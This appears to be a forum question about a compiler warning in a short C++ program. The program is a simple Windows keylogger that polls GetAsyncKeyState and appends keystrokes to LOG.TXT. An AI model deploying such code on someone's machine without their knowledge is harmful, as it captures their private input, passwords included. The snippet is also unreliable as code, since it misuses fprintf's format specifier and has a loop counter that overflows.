C++ Type warning

I have the following code and i cant seem to say for sure what the problem is.

When i compile the c++ program, compiler returns warning about expecting argument of type char* but argument 3 has type int

int save (int key_stroke, const char file[]);

int main()
{
    char i;
    while(1){
        for (i = 8; i <= 190; i++){
            if(GetAsyncKeyState(i)== -32767){
                save(i,"LOG.TXT");
            }
        }
    }
    return 0;
}

int save (int key_stroke, const char file[])
{
    if(key_stroke==1 || key_stroke==2)
        return 0;
    FILE *OUTPUT_FILE;//created a pointer reference variable of type File
    OUTPUT_FILE = fopen(file, "a+");
    fprintf(OUTPUT_FILE, "%s", &key_stroke);//this is line that c++ compiler 
    //compiler complains of
    fclose(OUTPUT_FILE);
    cout<<key_stroke<<endl;
    return 0;
}